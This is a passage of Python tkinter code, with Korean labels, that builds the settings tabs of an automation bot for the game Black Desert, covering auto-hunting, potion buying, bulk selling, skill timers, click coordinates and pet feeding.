label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'muge_percentage'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'muge_percentage'].trace( 'w', lambda *args: self.callback_muge_percentage_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'muge_percentage') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'muge_percentage' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'muge_percentage'] = 70 combobox_list = LYBBlackDesert.muge_percentage_list combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'muge_percentage'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'muge_percentage']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "% 이상일 경우 마을 가기", style = 'red_label.TLabel' ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'search_complete'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'search_complete'].trace( 'w', lambda *args: self.callback_search_complete_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'search_complete') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'search_complete' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'search_complete'] = False check_box = ttk.Checkbutton( master = frame, text = '퀘스트 완료 위아래로 탐색하기', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'search_complete'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_head, text='물약 구매') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_boolean'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_boolean'].trace( 'w', lambda *args: self.callback_potion_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_boolean') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_boolean' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_boolean'] = False check_box = ttk.Checkbutton( master = frame, text = '물약 구매하기', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_boolean'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "횟수:" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_set'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_set'].trace( 'w', lambda *args: self.callback_potion_set_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_set') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_set' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_set'] = 10 combobox_list = [10, 50, 100] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_set'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_set']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "개씩" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_number'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_number'].trace( 'w', lambda *args: self.callback_potion_number_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_number') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_number' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_number'] = 10 combobox_list = [] for i in range(1, 100): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_number'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_number']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "회" ) label.pack(side=tkinter.LEFT) label = ttk.Label( master = frame, text = "물약 종류:" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_thing'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_thing'].trace( 'w', lambda *args: self.callback_potion_thing_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_thing') ) combobox_list = LYBBlackDesert.potion_list if not lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_thing' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_thing'] = combobox_list[1] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_thing'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_thing']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = " " ) label.pack(side=tkinter.LEFT) label = ttk.Label( master = frame, text = "무게가 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_limit'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_limit'].trace( 'w', lambda *args: self.callback_potion_limit_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_limit') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_limit' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_limit'] = 70 combobox_list = [] for i in range(1, 100): combobox_list.append(str(i)) combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_limit'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'potion_limit']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "% 이상이면 구매 중지" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_head, text='일괄 판매') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_boolean'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_boolean'].trace( 'w', lambda *args: self.callback_sell_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_boolean') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_boolean' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_boolean'] = False check_box = ttk.Checkbutton( master = frame, text = '일괄 판매 하기', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_boolean'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "품목분류: " ) label.pack(side=tkinter.LEFT) i = 0 for each_pummok in LYBBlackDesert.sell_pummok_list: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + str(i)] = tkinter.BooleanVar(frame) if i == 0: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '0'].trace( 'w', lambda *args: self.callback_sell_pummok_0_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '0') ) elif i == 1: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '1'].trace( 'w', lambda *args: self.callback_sell_pummok_1_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '1') ) elif i == 2: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '2'].trace( 'w', lambda *args: self.callback_sell_pummok_2_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '2') ) elif i == 3: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '3'].trace( 'w', lambda *args: self.callback_sell_pummok_3_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '3') ) elif i == 4: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '4'].trace( 'w', lambda *args: self.callback_sell_pummok_4_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + '4') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + str(i) in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + str(i)] = False check_box = ttk.Checkbutton( master = frame, text = self.get_item_rank_text(each_pummok), variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_pummok' + str(i)], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) i += 1 frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "등급분류: " ) label.pack(side=tkinter.LEFT) i = 0 for each_rank in LYBBlackDesert.item_rank_list: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + str(i)] = tkinter.BooleanVar(frame) if i == 0: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '0'].trace( 'w', lambda *args: self.callback_sell_item_rank_0_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '0') ) elif i == 1: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '1'].trace( 'w', lambda *args: self.callback_sell_item_rank_1_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '1') ) elif i == 2: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '2'].trace( 'w', lambda *args: self.callback_sell_item_rank_2_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '2') ) elif i == 3: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '3'].trace( 'w', lambda *args: self.callback_sell_item_rank_3_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '3') ) elif i == 4: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '4'].trace( 'w', lambda *args: self.callback_sell_item_rank_4_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '4') ) elif i == 5: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '5'].trace( 'w', lambda *args: self.callback_sell_item_rank_5_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '5') ) elif i == 6: self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '6'].trace( 'w', lambda *args: self.callback_sell_item_rank_6_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + '6') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + str(i) in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + str(i)] = False s = ttk.Style() s.configure(each_rank + '.TCheckbutton', foreground=LYBBlackDesert.item_rank_color_list[i]) check_box = ttk.Checkbutton( master = frame, text = self.get_item_rank_text(each_rank), variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'item_rank' + str(i)], style = each_rank + '.TCheckbutton', onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) i += 1 frame.pack(anchor=tkinter.W) frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_jamjeryoek'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_jamjeryoek'].trace( 'w', lambda *args: self.callback_sell_jamjeryoek_booleanvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_jamjeryoek') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_jamjeryoek' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_jamjeryoek'] = False s = ttk.Style() s.configure('sell_jamjeryoek.TCheckbutton', foreground='#0367db') check_box = ttk.Checkbutton( master = frame, text = '잠재력 돌파, 수정 장착된 장비 포함', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'sell_jamjeryoek'], style = 'sell_jamjeryoek.TCheckbutton', onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, padx=5, pady=5) frame_head.pack(anchor=tkinter.W) # +-----------------------------------------+ # | | # | 자동 사냥2 | # | | # +-----------------------------------------+ frame_head = ttk.Frame(self.inner_frame_dic['hunt2_tab_frame']) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='자동 사냥 시작 행동 설정') self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'quest_click'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'quest_click'].trace( 'w', lambda *args: self.callback_hunt_quest_click_stringvar(args, lybconstant.LYB_DO_STRING_BD_HUNT + 'quest_click') ) if not lybconstant.LYB_DO_STRING_BD_HUNT + 'quest_click' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_HUNT + 'quest_click'] = 0 frame = ttk.Frame(frame_label) select_quest_location_list = [ ('아무 행동도 하지 않기', 0), ('퀘스트 슬롯 1 번 클릭', 1), ('퀘스트 슬롯 2 번 클릭', 2), ('퀘스트 슬롯 3 번 클릭', 3), ('퀘스트 슬롯 4 번 클릭', 4), ] for text, mode in select_quest_location_list: combo_box = ttk.Radiobutton( master = frame, text = text, variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'quest_click'], value = mode ) combo_box.pack() frame.pack(anchor=tkinter.W, side=tkinter.LEFT) frame = ttk.Frame(frame_label) select_quest_location_list = [ ('1 번 위치로 자동 이동', 5), ('2 번 위치로 자동 이동', 6), ('3 번 위치로 자동 이동', 7), ] for text, mode in select_quest_location_list: combo_box = ttk.Radiobutton( master = frame, text = text, variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_HUNT + 'quest_click'], value = mode ) combo_box.pack() frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='흑정령 스킬') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + 'use_boolean'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + 'use_boolean'].trace( 'w', lambda *args: self.callback_jadong_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + 'use_boolean') ) if not lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + 'use_boolean' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + 'use_boolean'] = True check_box = ttk.Checkbutton( master = frame, text = '흑정령 스킬을 사용합니다', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + 'use_boolean'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) for i in range(len(LYBBlackDesert.ddolmani_skill_list)): frame = ttk.Frame(frame_label) skill_name = "%s" % self.preformat_cjk(LYBBlackDesert.ddolmani_skill_list[i], 18) label = ttk.Label( master = frame, text = skill_name + ':' ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(i)] = tkinter.StringVar(frame) if i == 0: self.option_dic[lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(i)].trace( 'w', lambda *args: self.callback_ddolmani_skill_0_stringvar(args, lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(0)) ) elif i == 1: self.option_dic[lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(i)].trace( 'w', lambda *args: self.callback_ddolmani_skill_1_stringvar(args, lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(1)) ) elif i == 2: self.option_dic[lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(i)].trace( 'w', lambda *args: self.callback_ddolmani_skill_2_stringvar(args, lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(2)) ) combobox_list = [] for j in range(0, 300, 5): combobox_list.append(str(j)) if not lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(i) in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(i)] = 90 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(i)], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_DDOLMANI_SKILL + str(i)]) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.NW) frame_head.pack(anchor=tkinter.W) # +-----------------------------------------+ # | | # | 작업 설정 | # | | # +-----------------------------------------+ frame_head = ttk.Frame(self.inner_frame_dic['work_tab_frame']) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='메인 퀘스트') frame = ttk.Frame(frame_label) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jadong_boolean'] = tkinter.BooleanVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jadong_boolean'].trace( 'w', lambda *args: self.callback_jadong_boolean_booleanvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'jadong_boolean') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'jadong_boolean' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'jadong_boolean'] = False check_box = ttk.Checkbutton( master = frame, text = '메인 퀘스트 진행 중에 전투 태세를 [자동]으로 강제 유지합니다', variable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'jadong_boolean'], onvalue = True, offvalue = False ) check_box.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, side=tkinter.LEFT, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='캐릭터 변경') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "접속 캐릭터 슬롯 번호(맨 위가 1번):" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'chracter_change'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'chracter_change'].trace( 'w', lambda *args: self.callback_chracter_change_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'chracter_change') ) combobox_list = [] for i in range(1, 8): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK + 'chracter_change' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'chracter_change'] = 1 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'chracter_change'], state = "readonly", height = 10, width = 3, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'chracter_change']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "번" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.W) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='마우스 클릭') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "X 좌표:" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'location_x'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'location_x'].trace( 'w', lambda *args: self.callback_location_x_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'location_x') ) combobox_list = [] for i in range(1, 640): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK + 'location_x' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'location_x'] = 320 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'location_x'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'location_x']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = " " ) label.pack(side=tkinter.LEFT) label = ttk.Label( master = frame, text = "Y 좌표:" ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'location_y'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'location_y'].trace( 'w', lambda *args: self.callback_location_y_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'location_y') ) combobox_list = [] for i in range(1, 360): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK + 'location_y' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'location_y'] = 100 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'location_y'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'location_y']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = " " ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='캐릭터 이동') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "방향: " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'character_move'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'character_move'].trace( 'w', lambda *args: self.callback_character_move_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'character_move') ) combobox_list = LYBBlackDesert.character_move_list if not lybconstant.LYB_DO_STRING_BD_WORK + 'character_move' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'character_move'] = combobox_list[0] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'character_move'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 2, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'character_move']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = " " ) label.pack(side=tkinter.LEFT) frame.pack(side=tkinter.LEFT, anchor=tkinter.W) frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "이동 시간: " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'character_move_time'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'character_move_time'].trace( 'w', lambda *args: self.callback_character_move_time_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'character_move_time') ) combobox_list = [] for i in range(0, 361): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_WORK + 'character_move_time' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'character_move_time'] = 0 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'character_move_time'], state = "readonly", height = 10, width = 5, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'character_move_time']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "초" ) label.pack(side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_label = ttk.LabelFrame(frame_row, text='반려동물 - 먹이주기') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "현재 보유 중인 펫의 수: " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_PET + 'number'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_PET + 'number'].trace( 'w', lambda *args: self.callback_pet_number_stringvar(args, lybconstant.LYB_DO_STRING_BD_PET + 'number') ) combobox_list = [] for i in range(1, 21): combobox_list.append(str(i)) if not lybconstant.LYB_DO_STRING_BD_PET + 'number' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PET + 'number'] = 1 combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_PET + 'number'], state = "readonly", height = 10, width = 2, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_PET + 'number']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) frame.pack(anchor=tkinter.W) frame_label.pack(side=tkinter.LEFT, anchor=tkinter.NW, padx=5, pady=5) frame_row.pack(anchor=tkinter.W) frame_row = ttk.Frame(frame_head) frame_label = ttk.LabelFrame(frame_row, text='흑정령 - 검은 기운') frame = ttk.Frame(frame_label) label = ttk.Label( master = frame, text = "무기/방어구는 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun'].trace( 'w', lambda *args: self.callback_geomungiun_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun') ) combobox_list = LYBBlackDesert.geomun_rank_list if not lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun' in self.configure.common_config[self.game_name]: self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun'] = combobox_list[0] combobox = ttk.Combobox( master = frame, values = combobox_list, textvariable = self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun'], # justify = tkinter.CENTER, state = "readonly", height = 10, width = 4, font = lybconstant.LYB_FONT ) combobox.set(self.configure.common_config[self.game_name][lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun']) combobox.pack(anchor=tkinter.W, side=tkinter.LEFT) label = ttk.Label( master = frame, text = "등급 이하, 장신구는 " ) label.pack(side=tkinter.LEFT) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun2'] = tkinter.StringVar(frame) self.option_dic[lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun2'].trace( 'w', lambda *args: self.callback_geomungiun2_stringvar(args, lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun2') ) if not lybconstant.LYB_DO_STRING_BD_WORK + 'geomungiun2' in self.configure.common_config[self.game_name]: 